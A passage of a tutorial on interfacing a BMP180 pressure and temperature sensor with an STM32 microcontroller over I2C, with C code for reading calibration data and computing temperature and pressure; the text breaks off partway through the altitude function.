be used to release the winning balls? The solution was to minimise the force required for the balls' release by lining them up on a gentle slope and letting the required number of balls roll into the pay-out tray. It was decided that the winning ball would form part of the win so that the pay-out reserves were less likely to run out, and wins of 1, 2, 4 and 12 were therefore required. At first, the balls rolled down white 8-way connectors, but every now and then a ball would stay on a white connector's hole instead of rolling away from it, and so lengthwise orange connectors were used instead. Many more pieces were required, and the build took longer, but the balls flowed much more smoothly. This had its own problem though: when orange connectors are connected with green rods, there is a slight bulge where the join is. If a ball was sitting on a slope just before a bulge, it sometimes wouldn't roll when the win was released. The solution was simple: the slope was eight connectors wide (i.e. 48mm, just enough for the balls) and the middle two connectors - the ones the ball was resting on - were not joined by green rods at that point (but they were at their other end), removing the bulge. Very few connectors needed this treatment. The two- and three-win reserves hold a maximum of 18 balls, and the 5-win reserve, 19. The Bonanza reserve holds up to 12 balls. The machine can therefore retain up to 67 balls. The pay-out mechanism can be seen working for a three-ball win at 4 minutes 44 seconds of the video - if you have a look at it now the following notes will make more sense. For a two-ball win, only one ball is released, the winning ball being returned. There are two blue rods above the point between the first two balls in the slope. There is a release lever which prevents the balls from running from the slope into the pay-out tray. The winning ball falls onto a triggering lever which a) lowers the two blue rods so that the second and higher balls are prevented from rolling down the slope, and then b) raises the release lever so that the first ball can fall into the pay-out tray. All the levers have been carefully balanced using different type of wheels as weights. No rubber bands have been used anywhere. A three-ball win works similarly, the blue rods falling between the second and third balls. For a five-ball win, the blue rods fall between the fourth and fifth balls, but there was a problem: the slope is gentle so that the releasing lever has little friction when raised (the leading ball is resting against it), and when the winning ball rolled off the end of the triggering lever not all of the won balls had time to roll out. The solution was to make the triggering lever longer so that the winning ball had to travel further before it fell off the end of the lever en route to the pay-out tray, thus lengthening the time that the release lever was raised. The triggering levers won't cope with one win immediately followed by another identical one, and so the ball lift releases balls at 2¼-second intervals - just enough time for the pay-out mechanism to handle close wins. The Bonanza Pay-out This uses a different method. The balls still queue on a gentle slope, but all the balls - up to 12 of them - have to be released in one go. There is a release lever, but it needed to be prevented from releasing just a few balls and then blocking the rest after it came back down after it had been raised by the winning ball. A couple of green connectors on the release lever are used to block the flow of the balls, and when they are lifted the flow of balls hits the (raised) angled part of the connectors thus keeping the lever raised! The slope is actually slightly steeper than those for the other pay-outs so that there is enough momentum there. Have a look very closely at the video at around 5 minutes 2 seconds. The Base of the Machine It was obvious that the machine would be quite heavy and that it would need to be based on a rigid frame. The base was constructed mainly from red-rod-sided cubes with the grey diagonal rods on opposite faces at right angles to each other - see Making Strong K'Nex Structures for the construction method. The grid, being 16 columns wide, fits into 8 red-rod lengths, making its attachment straightforward. Further Details ... will be supplied on request - just ask!
http://www.instructables.com/id/KNex-Bonanza-Amusement-Machine/
CC-MAIN-2017-13
refinedweb
2,305
72.09
The IDL That Isn't January 16, 2002 Martin Gudgin and Timothy Ewald When you listen to someone explaining Web Services, it's not unusual to hear WSDL compared to the Interface Definition Languages (IDLs) used by classic RPC mechanisms like DCE, ONC, CORBA, and COM. All of these technologies use IDL of one form or another to define contracts between components. In all of these cases, use of an IDL was the key to interoperability across language, process, and vendor boundaries. WSDL is exactly like the IDLs of the past in that a WSDL document describes the portTypes or interfaces a web service implements. However, there is one critical difference between WSDL and the IDLs distributed systems developers know and love: no one wants to use WSDL as a starting point. This is a critical problem that will plague the web service movement until it is solved. Let us explain why. Why an IDL? When an RPC programmer sits down to develop a new system, she starts in IDL. Her goal is to explicitly define the interface between a client and a server. In principle, the interface defines a semantically-related set of operations the server exposes to the client. In fact, the interface defines both a language binding (which happens to be binary in the case of COM) and a wire-representation for sending messages to other processes. These details are captured in a combination of source code and metadata generated from the IDL definition by an IDL compiler. In some combination, these artifacts are enough to build client and server programs that comply with the interface contract and can communicate with one another by sending binary messages back and forth. The beauty of the IDL-centric model is that the contracts between components are explicitly stated in a single language everyone agrees upon; at least everyone using the same RPC mechanism. Further, because the rules for mapping IDL interface definitions to programming language source code are well understood, everyone knows how to implement and invoke the operations defined by interface in whichever programming language they choose. As for web services, if they followed the IDL-centric model, a programmer would start to develop a new system by writing interface definitions in WSDL. Then, she would run a WSDL compiler to emit a combination of source code and metadata that can be used to build both clients and servers that comply with the interface contract and can communicate with one another by sending SOAP messages back and forth. WSDL is a second-class citizen But web services don't follow this model. Modern web service tools do not expect developers to write WSDL definitions. From the complexity of the language specification, one might assume that the authors of WSDL have no such expectation, either. Instead, these kits treat WSDL as a second-class citizen. They generate WSDL definitions from existing server-side source code, e.g., a Java class, based on whatever custom language mapping they've cooked up. Whether the WSDL definition can be understood by any other web service toolkit depends on the options it uses for data types and for describing SOAP bindings. The problems begin Web service toolkit vendors downplay WSDL because they want to hide it from developers. After all, many web service developers are not all that familiar with XML and the current version of WSDL is notoriously complex. But WSDL is central to how web services work, and this choice leads to a range of problems. We'll focus on two but there are others. The first problem is obvious. Not all web service toolkits support the same WSDL options. Some support only RPC/Encoded bindings, others support Document/Literal bindings as well. Some support the use of types that were derived by restriction, others do not. Some support overloading the required SOAPAction header or element namespace affiliations on a per-operation basis, others do not. All these issues may be resolved eventually by web service toolkit vendors, who understand that interoperability at the WSDL level is a key goal. Meanwhile, it's up to each and every web service developer to try to make their endpoints as interoperable as necessary and as possible, based on the problem they are trying to solve and the toolkit they are using. Unfortunately, interoperability is difficult or impossible to ensure if web service developers aren't familiar with WSDL, don't know what WSDL definitions their toolkits will generate from their server-side source code by default, and don't know how to customize their toolkits' behavior. Ask the target audience for web service toolkits, i.e., developers who don't want to know about SOAP and WSDL, the different binding styles and uses and they're unlikely to know what you are talking about, much less how to control which one their services are using. All they'll know is that in some cases, their endpoints don't work. The second problem is less obvious. Today's web service toolkits assume you'll start development by writing a server, which you'll then expose as a web service. But what if you want to start by writing a client? In the classic RPC model, once an interface was defined in IDL, developers could write clients and servers independently. For instance, CORBA was often used to wrap legacy data sources on heterogeneous platforms. Once an interface was defined in CORBA IDL, a client could be developed at the same time servers were being written. When the client was done, it could use the same client-side proxy code to call objects in different servers: all it needed was the right object reference. This model would be useful in web services, but it can't really be done today because, while most web service toolkits support generating server-side skeleton code from an existing WSDL definition, they do not guarantee that the server will remain compatible with that original definition even after it is deployed. For instance, if a toolkit generates a server skeleton for a WSDL-defined portType with a Document/Literal binding, but deploys the server with an RPC/Encoded binding, a client based on the original WSDL document will not be able to call it. Without support for this style of development, it will be very difficult to define standard, reusable interface suites for specific problem domains, e.g., supply chain integration, health care, manufacturing process control, etc. The web service model is a very good one. But it will only be adopted if interoperability is easy to achieve. The best way to do that is to move to the IDL-centric model used by the classic RPC technologies of the past. Ultimately, web service toolkits will have to support a development model that starts with WSDL and web service developers will have to embrace and use that language. To facilitate that, WSDL should be radically reworked by the W3C and ultimately simplified (preferably along the lines we described in last month's column). Until then, WSDL will remain the IDL that isn't.
https://www.xml.com/pub/a/2002/01/16/endpoints.html
CC-MAIN-2022-05
refinedweb
1,182
51.07
Introduction to Python 3.9 This article explains the new features in python 3.9, as compared to 3.8. Python 3.9 is the last version providing those Python 2 backward compatibility layers, to give more time to Python projects maintainers to organize the removal of the Python 2 support and add support for Python 3.9. What’s New in Python 3.9 - Relaxed grammar restrictions on decorators. - String methods to remove prefixes and suffixes. - Flexible function and variable annotations. - Fast access to module state from methods of C extension types. - CPython now uses a new parser based on PEG. - A number of Python builtins (range, tuple, set, frozenset, list, dict) are now sped up using vectorcall. - garbage collection does not block on resurrected objects; - Time Zone Database is now present in the standard library in the ‘zoneinfo’ module. New Features:- Dictionary Merge & Update Operators Merge (|) and update (|=) operators have been added to the built-in dict class. x = {“key1”: “dict1 from x”, “key2”: “dict2 from x”} y = {“key2”: “dict2 from y”, “key3”: “dict3 from y”} x | y {‘key1’: ‘dict1 from x’, ‘key2’: ‘dict2 from y’, ‘key3’: ‘dict3 from y’} y | x {‘key2’: ‘dict2 from x’, ‘key3’: ‘dict3 from y’, ‘key1’: ‘dict1 from x’} New String Methods to Remove Prefixes and Suffixes str.removeprefix(prefix) and str.removesuffix(suffix) have been added to easily remove an unneeded prefix or a suffix from a string. Corresponding bytes, bytearray, and collections.UserString methods have also been added. Only one line removes the prefix/suffix. students = [‘Student.A’, ‘Student.B’, ‘Student.C’] names_only = [ ] for student in students: names_only.append(student.removeprefix(‘Student.’)) print(names_only) [‘A’, ‘B’, ‘C’] Zoneinfo The zoneinfo module brings support for the IANA time zone database to the standard library. It adds zoneinfo.ZoneInfo, a concrete datetime.tzinfo implementation backed by the system’s time zone data. from zoneinfo import ZoneInfo from datetime import datetime, timedelta Daylight saving time dt = datetime(2020, 10, 7, 12, tzinfo=ZoneInfo(“America/Los_Angeles”)) print(dt) 2020-10-7 12:00:00-07:00 dt.tzname() ‘PDT’ Standard time dt += timedelta(days=7) print(dt) 2020-11-07 12:00:00-08:00 print(dt.tzname()) PST No need for a from typing import list the_list: list[int] = [1,2,3,4] print(the_list) the_list = ‘1234’ print(the_list) [1, 2, 3, 4] 1234 Type Hinting Generics in Standard Collections In type annotations you can now use built-in collection types such as list and dict as generic types instead of importing the corresponding capitalized types (e.g. List or Dict) from typing. You should check for Deprecation Warning Warning and PendingDeprecationWarning, even with -W error to treat them as errors. Warnings Filter can be used to ignore warnings from third-party code. Should we Upgrade to Py-PI 3.9 If you wish to try the new version then you’ll need to use Python3.9. So, you can upgrade. Keep in mind, that if you have code running in Python 3.8 without any problem, then you might experience some issues while running the same code in Python 3.9. Because the new PEG parser has naturally not been tested as extensively as the old one and only time will tell us the truth about it.So, everyone can wait for the first maintenance release: Python 3.9.1 Summary This new version is very cool and has great changes in features. This version is great for the Python community.
https://www.fireblazeaischool.in/blogs/python-3-9/
CC-MAIN-2021-04
refinedweb
578
66.64
Back to: Dot Net Interview Questions and Answers View Engine and HTML Helpers Interview Questions and Answers In this article, I am going to discuss the most frequently asked View Engine and HTML Helpers Interview Questions and Answers in ASP.NET MVC Application. Please read our previous article where we discussed the ASP.NET MVC Routing Interview Questions and Answers. As part of this article, we are going to discuss the following View Engine and HTML Helpers Interview Questions with Answers in ASP.NET MVC Application. - What is a View Engine in ASP.NET MVC application? - How does the View Engine work in the ASP.NET MVC application? - What is Razor View Engine? - How to register Custom View Engine in ASP.NET MVC? - Can you remove the default View Engine in ASP.NET MVC? - What is the difference between Razor and WebForm engine? - What are HTML Helpers in ASP.NET MVC? - Is it mandatory to use HTML helpers? - What is the difference between Html.TextBox and Html.TextBoxFor? - What is Validation Summary in ASP.NET MVC Application? - What is unobtrusive AJAX? - What is Cross-Domain AJAX? What is a View Engine in ASP.NET MVC application? A View Engine in ASP.NET MVC application is used to translate the views to HTML and then render the HTML in a browser. The point that you need to remember is, the View Engine in ASP.NET MVC application having its own markup syntax. As discussed, the View Engine in ASP.NET MVC application is responsible for converting the Views into HTML markup and then rendering the HTML in a browser. Initially, the ASP.NET MVC framework comes with one view engine i.e. web forms (ASPX) view engine and from ASP.NET MVC3 framework a new view engine i.e. Razor view engine comes. Now, it is also possible to use other third-party view engines such as Spark, NHaml, etc. How does the View Engine work in the ASP.NET MVC application? Each and every view engine in ASP.NET MVC application has the following three major components: - ViewEngine Class – The ViewEngine class implements the IViewEngine interface and the responsibility of this class is locating the view templates. - View Class – The View class implements the IView interface and the responsibility of this class is to combine the template with data from the current context and then convert it to HTML markup. - Template Parsing Engine – This parses the template and compiles the view into executable code. What is Razor View Engine? The Razor Engine was introduced in ASP.NET MVC3. This is an advanced View Engine that provides a new way to write markup syntax which will reduce the typing of writing the complete HTML tag. the Razor syntax is easy to learn and much cleaner than Web Form syntax. Razor uses @ symbol to write markup. How to register Custom View Engine in ASP.NET MVC? In order to use the custom View Engine, first, we need to register it in the Application_Start() method of the global.asax.cs file so that the framework will use our custom View Engine instead of the default one. Can you remove the default View Engine in ASP.NET MVC? Yes, we can remove default view engines (i.e. Razor and WebForm) provided by ASP.NET MVC. What is the difference between Razor and WebForm engine? The main differences between ASP.NET Web Form and ASP.NET MVC are given below: - Razor Engine was introduced with ASP.NET MVC3 Framework. It is a new markup syntax whereas Web Form View Engine is the default View Engine from the beginning of ASP.NET MVC Framework. - The Razor Engine belongs to System.Web.Razor namespace whereas the Webform Engine belongs to System.Web.Mvc.WebFormViewEngine namespace. - Razor View Engine has new and advances syntax that is compact, expressive and reduces typing whereas Web Form View Engine has the same syntax as WebForms. - The Razor View Engine syntaxes are easy to learn as well as much cleaner than the Web Form View Engine syntax. It uses @ symbol to switch between the C# code and HTML code whereas the Web Form View Engine syntaxes are borrowed from ASP.NET WebForms. The Webform uses <% and %> delimiters to switch between the C# and HTML code. - By default, the Razor View Engine prevents Cross-Site Scripting Attacks (XSS attacks). That means it encodes the script or HTML tags before rendering to the view. On the other hand, the Web Form View Engine does not prevent the Cross-Site Scripting Attacks. That means any script saved in the database will be fired while rendering the page. - The Razor View Engine doesn’t support the design mode in the visual studio. That means we cannot see how our page looks at the time developing. Whereas the Web Form View Engine supports the design mode in the visual studio. That means we can see how our page looks at the time of developing without running the application. What are HTML Helpers in ASP.NET MVC? The HTML Helpers in ASP.NET MVC application are nothing but methods returning an HTML string that can render an HTML tag. For example, a link, a textbox, a label or other form elements. Developers who have worked with ASP.NET Web Forms can map the HTML helper methods to Web Form Controls because both serve the same purpose. But HTML helpers are comparatively lightweight because they don’t have view state and event like Web Form Controls. Along with the built-in HTML helpers, it is also possible to create our own custom helper methods to fulfill our specific purpose. For example, we can create a custom HTML Helpers to render more complex content such as a menu strip or an HTML table for displaying database data. Note: The HTML helpers are implemented as extension methods. Is it mandatory to use HTML helpers? No, we can type the required HTML but using HTML helpers will greatly reduce the amount of HTML that we have to write in a view. Views should be as simple as possible. All the complicated logic to generate a control can be encapsulated into the helper to keep views simple. What is the Difference between Html.TextBox and Html.TextBoxFor? This is one of the most frequently asked ASP.NET MVC interview questions. So let us discuss this question in detail. Html.TextBox is not a strongly typed helper method and hence it doesn’t require a strongly typed view. That means we can hardcode whatever name we want. On the other hand Html.TextBoxFor is a strongly typed HTML Helper method and hence it requires a strongly typed view and the name is given by using the lambda expression. The Strongly typed HTML helper methods provide compile-time error checking. In most of the real-time application, we use strongly typed views, so we prefer to use Html.TextBoxFor over their counterpart HTML.TextBox. The most important point that we need to remember is, whether we use the Html.TextBox or Html.TextBoxFor helper method the end result is going to be the same that is they produce the same HTML. Strongly typed HTML helpers are introduced in ASP.NET MVC MVC2. What is Validation Summary in ASP.NET MVC Application? The ValidationSummary HTML Helper method displays all the validation errors of the ModelState dictionary in an unordered list. This ValidationSummary HTML Helper method accepts a boolean value (i.e. true or false) and based on the boolean value it displays the errors. When the boolean parameter value is set to true, then it shows only the model-level errors and excludes model property-level errors (i.e. any errors that are associated with a specific model property). When the Boolean value is set to false, then it is going to shows both model-level and property-level errors. Suppose, you have the following lines of code somewhere in the controller action rendering a view: ModelState.AddModelError(“”, “This is Model-level error!”); ModelState.AddModelError(“Title”, “This Model property-level error!”); In the first statement, there is no key is to associate with the error. In the second statement, there is a key with the name “Title” that is associated with the error for the model property Name. @Html.ValidationSummary(true) @*//shows model-level errors*@ @Html.ValidationSummary(false) @*//shows model-level and property-level errors*@ Hence, when the boolean type value is set to true then ValidationSummary HTML Helper method will display only the model-level errors and exclude property-level errors. If we set the value to false, then it will display both Model-level and property-level errors. What is unobtrusive AJAX? ASP.NET MVC Framework supports unobtrusive Ajax. The unobtrusive Ajax means, we can use the HTML Helper methods to define our Ajax features, rather than adding blocks of code throughout our views. What is Cross-Domain AJAX? By default, a web browser allows AJAX calls only to the same domain i.e. site hosted server. This restriction helps us to prevent various security issues like cross-site scripting (XSS) attacks. But, sometimes we need to interact with externally hosted API(s) like Twitter or Google. Hence to interact with these external API(s) or services our web application must support JSONP requests or Cross-Origin Resource Sharing (CORS). By default, ASP.NET MVC does not support JSONP or Cross-Origin Resource Sharing. For this, you need to do a little bit of coding and configuration. In the next article, I am going to discuss the ASP.NET MVC Partial Views and Sessions Interview Questions and answers. Here, in this article, I try to explain the most frequently asked View Engine and HTML Helpers Interview Questions and Answers in ASP.NET MVC Application. I hope you enjoy this article.
https://dotnettutorials.net/lesson/mvc-views-and-html-helpers-interview-questions/
CC-MAIN-2020-05
refinedweb
1,636
68.57
Work at SourceForge, help us to make it a better place! We have an immediate need for a Support Technician in our San Francisco or Denver office. You can subscribe to this list here. Showing 2 results of 2 On Wed, 20 Dec 2006 08:34:57 +0100, w-reiser@... said: > To append my tags path works fine but when i do the > globaltags.append((None,'myrender.spi',myrender)) > I get still the long error message. So I tried the following: > I copied the render.spi file to my tags directory and renamed it to > myrender.spi and I get still the error Since you don't say what the error is, I'm guessing, but it looks like there is a bug when you give two tag libraries the same libname. I will fix the bug but in the meantime this should work globaltags = [ ('core', 'core.py', 'spy'), ('form', 'form.py', 'f'), (None, 'myrender.spi', 'myrender'), ] -Jonathan Hi there, I'm struggling to get Spyce to use my custom page-level error handler. According to the comments in the spyceconf.py, I need to set pageerror to a function: "# The pageerror option sets the default page-level error handler." The docs at do not dispute this, but does not give the name of the config variable to be set. However, my function seems never to get called. What am I missing? Here's my test: ---- spyceconf.py --- def my_handler(*args): raise 'handler called' pageerror = my_handler ----- somepage.spy ----- [[raise 'this is an error']] -i
http://sourceforge.net/p/spyce/mailman/spyce-users/?viewmonth=200612&viewday=20
CC-MAIN-2014-35
refinedweb
254
77.23
We decided to publish a further Spring 3.0 release candidate before going GA: Get it from the download page, do a round of thorough testing, and let us know how it works for you. Spring 3.0 is now waiting for your integration test feedback and will eventually go GA in mid December. This release candidate comes with several enhancements: e.g. extended functionality in the new <mvc:*> namespace, and a further revision of startup/shutdown behavior (affecting message listeners and scheduled tasks). Feel free to give those features an early try! We are also keen to learn about upgrade experiences with existing Spring 2.5 applications since we expect many of your applications to selectively adopt 3.0 features... while keeping the majority of the code in its 2.5 shape for the time being. Compatibility with third-party frameworks and libraries is an important goal as well. Most of your existing libraries should keep working without even requiring an upgrade. We are however raising the bar in terms of the required version in several cases: For example, Spring 3.0 requires Hibernate 3.2 or above now, with explicit support for Hibernate 3.3 and also for Hibernate 3.5 beta already. For a further example, Spring 3.0 requires Tiles 2.1 now, with no support for Tiles 2.0 anymore. We generally recommend using the latest production version of such third-party libraries but as in the case of Hibernate, we keep supporting older versions that remain commonly used. On the occasion, since there has been confusion about this before: The Spring 3.0 codebase is entirely based on Java SE 5 (JDK 1.5) and Java 5 language features now, but at the same time, Spring 3.0 is fully compatible with J2EE 1.4 servers as well as Java EE 5 servers and provides early support for Java EE 6 already. In particular, you may run Spring 3.0 based applications on the likes of Tomcat 5.5 and WebSphere 6.1, with the full Spring 3.0 feature set available on those established J2EE 1.4 generation platforms (which fortunately run on JDK 1.5 underneath). You might even add a brand-new JPA 2.0 provider to that combo... Make the best of what you got. Finally, building on Spring 3.0 and on this release candidate in particular, we got a whole series of project releases coming: for example, new major versions of Grails, ROO, dm Server, Spring Security, Spring Batch, and Spring Integration. Watch this space! Back
http://spring.io/blog/2009/12/01/spring-framework-3-0-rc3-released/
CC-MAIN-2014-10
refinedweb
428
69.28
Speed Up Your Vue.js Single-Page App Speed Up Your Vue.js Single-Page App Increase the performance of Vue.js applications by focusing on lazy-load components and routes and functional components. Join the DZone community and get the full member experience.Join For Free One of my projects included building a Single Page Application with Vue.js. As the Go Live approached, the topic of performance optimization became more relevant. In this article, I have collected everything I have learned about improving the performance of Vue.js applications with regards to loading times and rendering performance. With Vue.js, you are able to quickly build a Single Page Application. Webpack will bundle everything into files (HTML, JavaScript, CSS) for you, and finally, you can serve it with nginx. At least, this is our setup. However, Webpack will warn you that some assets have gotten too big. It is important to note that these three files will be loaded once the user visits the SPA and only afterward will the page is rendered. However, most of the files contents is not even needed for the initially loaded page and should not block the user from using our website as quickly as possible. The following article presents several approaches on how you can mitigate this issue and further approaches to improve your Vue.js application in terms of responsiveness and performance. Functional Components Functional components are components that hold no state and no instance. Turning your stateless Vue component into a functional component can drastically increase your rendering performance. Simply add the functional keyword to the top-level template tag: xxxxxxxxxx <template functional> <div>...</div> </template> To access your props and data as before, you have to make some minor adjustments. xxxxxxxxxx <template functional> <div>{{ props.someProp }}</div> </template> <script> export default { props: { someProp: String } } </script> In case you are using i18n for internalization, you have to prepend parent to $t: xxxxxxxxxx {{ parent.$t('app.not-found.message') }} With functional components, we do not have access to methods or computed props. However, we can still access methods using $options. xxxxxxxxxx <template functional> <div> {{ $options.username(props.user) }} </div> </template> <script> export default { props: { user: User, }, username(user: User): string { return user.name; } } </script> Lazy-Load Components Lazy loading components can save a lot of time on initial download. Any lazily loaded resource is downloaded when it’s import() function is invoked. In the case of Vue components that happens only when it is requested to render. Dialogues are predestined for this. They are usually shown only after user interaction. xxxxxxxxxx <template> <div> ... <app-modal-dialog </div> </template> <script> export default { components: { ModalDialog: () => import('./ModalDialog.vue') } } </script> Webpack will create a separate chunk for the ModalDialog component, which will not be downloaded immediately on page load but only once it is needed. Be careful not to lazy-load a component that should be shown automatically. For example, the following would (silently) fail to load the modal dialog. xxxxxxxxxx mounted() { this.$bvModal.show('password-check'); }, The reason is that the mounted hook is evaluated before the modal component is lazy loaded. Lazy-Load Routes When building SPAs, the JavaScript bundle can become quite large, and thus increase the page load time. It would be more efficient if we can split each route’s components into a separate chunk and only load them when the route is visited. xxxxxxxxxx import ProjectList from '@/components/ProjectList.vue'; export const routes = [ { path: '/projects', name: 'projects', component: ProjectList, }, ] It is very easy to define an async component that will be automatically code-split by Webpack. Just change the import statement: xxxxxxxxxx const ProjectList = () => import('@/components/ProjectList.vue'); Apart from that, nothing needs to change in the route configuration. Build your app in production mode with: xxxxxxxxxx "build": "vue-cli-service build --mode production" and verify that a lot of chunks will be generated Code-Splitting in Vue and Webpack You can also verify that this is working by opening the developer console in your browser. In the Network tab, several JavaScript files will be loaded asynchronously once you visit a new route. In develop mode, each chunk will be given an auto-incremented number. In production mode, an automatically calculated hash value will be used instead. Lazy-Loaded Chunks and Prefetch Cache A very cool feature is that Vue automatically adds magic comments for Webpack so that further chunks will be prefetched automatically (see prefetch cache). However, prefetching will only start after the browser has finished the initial load and becomes idle. Make Object Lists Immutable Usually, we will fetch a list of objects from a backend, for example users, items, articles, etc. By default, Vue makes every first-level property for each object in the array reactive. That can be expensive for large arrays of objects. Sometimes, we do not need to modify them when we just want to display objects. So, in these cases, we can gain some performance if we prevent Vue from making the list reactive. We can do that by using Object.freeze on the list, e.g. making it immutable. xxxxxxxxxx export async function get(url: string): Promise<User[]> { const response = await Object.freeze(axios.get<User[]>(url)); return response.data; } Measure Runtime Performance We have talked about quite a few ways to improve a Vue SPA, but we do not know how much performance we actually have gained. We can do so by using the Performance tab in our browser’s Developer Tools. In order to have accurate data, we have to activate the performance mode in our Vue app. Let us activate it for developer mode in our main.ts file with xxxxxxxxxx Vue.config.performance = process.env.NODE_ENV !== "production"; This activates the User Timing API that Vue uses internally to measure component performance. Open your browser and press F12 to open the Developer Console. Switch to the Performance tab and click Start Profiling. In Chrome, the Timings row shows important marks, such as the Time of First Contentful Paint and First Meaningful Paint. These are measures you should try to decrease so that your users can use the website as fast as possible. Do you have more tips and tricks to improve the performance of Vue.js applications? Let me know in the comments! In this part, we have seen how we can use lazy-loading for routes and components to split our SPA into chunks, how functional components can improve the performance, and how we can measure these improvements. Published at DZone with permission of Dr. Matthias Sommer . See the original article here. Opinions expressed by DZone contributors are their own. {{ parent.title || parent.header.title}} {{ parent.tldr }} {{ parent.linkDescription }}{{ parent.urlSource.name }}
https://dzone.com/articles/speed-up-your-vuejs-single-page-app
CC-MAIN-2020-29
refinedweb
1,117
57.77
I have a class which has a conversion operator for type std::string marked as explicit. Here is the class class MyClass { public: // methods ... explicit operator std::string() const { // convert to string ... } } Problem is when I use static_cast on a variable of type MyClass I get the error "No matching conversion for static_cast from 'MyClass' to 'std::string aka …" I seem to have the same problem when I define conversion operators for any custom type. Is the explicit modifier only defined for conversion to primitive types or is this another compiler bug. Here is an example #include <iostream> #include <string> class MyClass { public: // methods ... explicit operator std::string() const { return "Hello World"; } }; int main() { MyClass obj; std::cout << static_cast<std::string>( obj ) << std::endl; return 0; } The output is Hello World Problem solved by updating to the latest version of LLVM, which fully supports all C++11 features. Similar Questions
http://ebanshi.cc/questions/4378117/why-explicit-operator-stdstring-does-not-work
CC-MAIN-2017-51
refinedweb
150
51.07
Interface BMP180 with STM32 Description The BMP180 is a very ‘simple to use’ Pressure sensor, which senses the atmospheric Pressure. This Pressure can be used to calculate the Altitude from the sea level. BMP180 also have an integrated Temperature Sensor. It uses the I2C for the communication, and delivers the uncompensated values of pressure and temperature. For more information on the sensor, please read it’s datasheet. The measurement Flow chart is given below Connection Connecting BMP180 is very simple. Just connect the SCL to SCL and SDA to SDA and you are good to go. The I2C address of BMP180 is 0xEE as per it’s datasheet. It is shown below How to actually do the measurement Well the answer for every “How to interface this” is in the device datasheet. If you look at page number 15 of the BMP180 Datasheet, there is an algorithm given to do all the necessary calculations. Below is the picture. Here, first of all we need to read the calibration values from the EEPROM with starting address from 0xAA. Every value i.e. AC1, AC2, AC3 etc is 16 bit in size. These values varies for every BMP180 sensor, but there are some defaults given in the datasheet. Whatever calibration values you have, they should be somewhat around these default values. They are as shown below - Once the Calibration is read, we will start the reading for UT (Uncompensated Temperature). To do so, we need to read the Registers 0xF6, and 0xF7. - Next in line is UP (Uncompensated Pressure). To read the UP, we need to read 0xF6, 0xF7 and 0xF8 registers. - And finally we do the calculations as per the datasheet to get the Temperature and the Pressure. Some Insight into the CODE Read Calibration:- void read_calliberation_data (void) { uint8_t Callib_Data[22] = {0}; uint16_t Callib_Start = 0xAA; HAL_I2C_Mem_Read(BMP180_I2C, BMP180_ADDRESS, Callib_Start, 1, Callib_Data,22, HAL_MAX_DELAY); AC1 = ((Callib_Data[0] << 8) | Callib_Data[1]); AC2 = ((Callib_Data[2] << 8) | Callib_Data[3]); AC3 = ((Callib_Data[4] << 8) | Callib_Data[5]); AC4 = ((Callib_Data[6] << 8) | Callib_Data[7]); AC5 = ((Callib_Data[8] << 8) | Callib_Data[9]); AC6 = ((Callib_Data[10] << 8) | Callib_Data[11]); B1 = ((Callib_Data[12] << 8) | Callib_Data[13]); B2 = ((Callib_Data[14] << 8) | Callib_Data[15]); MB = ((Callib_Data[16] << 8) | Callib_Data[17]); MC = ((Callib_Data[18] << 8) | Callib_Data[19]); MD = ((Callib_Data[20] << 8) | Callib_Data[21]); } - As per the instructions in the datasheet, we will read the calibrations data first. - The start address for the data to be read is 0xAA - We need to read 22 Bytes totally - The values for 16 bit AC1, AC2 etc.. are calculated by shifting the 8 bit values that we read - HAL_I2C_Mem_Read function reads the entered number of registers from the given start address Temp Calculation:- // Get uncompensated Temp uint16_t Get_UTemp (void) { uint8_t datatowrite = 0x2E; uint8_t Temp_RAW[2] = {0}; HAL_I2C_Mem_Write(BMP180_I2C, BMP180_ADDRESS, 0xF4, 1, &datatowrite, 1, 1000); HAL_Delay (5); // wait 4.5 ms HAL_I2C_Mem_Read(BMP180_I2C, BMP180_ADDRESS, 0xF6, 1, Temp_RAW, 2, 1000); return ((Temp_RAW[0]<<8) + Temp_RAW[1]); } float BMP180_GetTemp (void) { UT = Get_UTemp(); X1 = ((UT-AC6) * (AC5/(pow(2,15)))); X2 = ((MC*(pow(2,11))) / (X1+MD)); B5 = X1+X2; Temp = (B5+8)/(pow(2,4)); return Temp/10.0; } In order to calculate the Temperature, we need to get the UT (Uncompensated Temperature) first. To do so, the following are the steps - Write 0x2E (DATA) in the 0xF4 (Address) - Now read the 2 Bytes of Data from the address 0xF4. - convert these 2 Bytes into a single 16 bit value, and that will be the UT value - Using this UT value, we will do the calculation for the Temperature as shown in the above code - The formulas used are provided in the datasheet Pressure Calculation:- // Get uncompensated Pressure uint32_t Get_UPress (int oss) // oversampling setting 0,1,2,3 { uint8_t datatowrite = 0x34+(oss<<6); uint8_t Press_RAW[3] = {0}; HAL_I2C_Mem_Write(BMP180_I2C, BMP180_ADDRESS, 0xF4, 1, &datatowrite, 1, 1000); switch (oss) { case (0): HAL_Delay (5); break; case (1): HAL_Delay (8); break; case (2): HAL_Delay (14); break; case (3): HAL_Delay (26); break; } HAL_I2C_Mem_Read(BMP180_I2C, BMP180_ADDRESS, 0xF6, 1, Press_RAW, 3, 1000); return (((Press_RAW[0]<<16)+(Press_RAW[1]<<8)+Press_RAW[2]) >> (8-oss)); } float BMP180_GetPress (int oss) { UP = Get_UPress(oss); X1 = ((UT-AC6) * (AC5/(pow(2,15)))); X2 = ((MC*(pow(2,11))) / (X1+MD)); B5 = X1+X2; B6 = B5-4000; X1 = (B2 * (B6*B6/(pow(2,12))))/(pow(2,11)); X2 = AC2*B6/(pow(2,11)); X3 = X1+X2; B3 = (((AC1*4+X3)<<oss)+2)/4; X1 = AC3*B6/pow(2,13); X2 = (B1 * (B6*B6/(pow(2,12))))/(pow(2,16)); X3 = ((X1+X2)+2)/pow(2,2); B4 = AC4*(unsigned long)(X3+32768)/(pow(2,15)); B7 = ((unsigned long)UP-B3)*(50000>>oss); if (B7<0x80000000) Press = (B7*2)/B4; else Press = (B7/B4)*2; X1 = (Press/(pow(2,8)))*(Press/(pow(2,8))); X1 = (X1*3038)/(pow(2,16)); X2 = (-7357*Press)/(pow(2,16)); Press = Press + (X1+X2+3791)/(pow(2,4)); return Press; } In this part we will calculate the Pressure. The steps are mentioned below - Just like Temperature, here also we need to calculate the value of UP (Uncompensated Pressure) first - Write 0x34+(oss<<6) into the Register 0xF4. Here oss is OverSampling Setting, you can read about it in the datasheet. - Now we need to wait depending on what oss value you choose. I have used the oss as 0 in this code - Then read 3 bytes of data starting from 0xF6 - Rearranging these Bytes gives the UP value - Using the UP from the first function, we will calculate the Pressure - The calculation shown above is as provided in the BMP180 datasheet. Altitude Calculation:- #define atmPress 101325 //Pa float BMP180_GetAlt (int oss) { 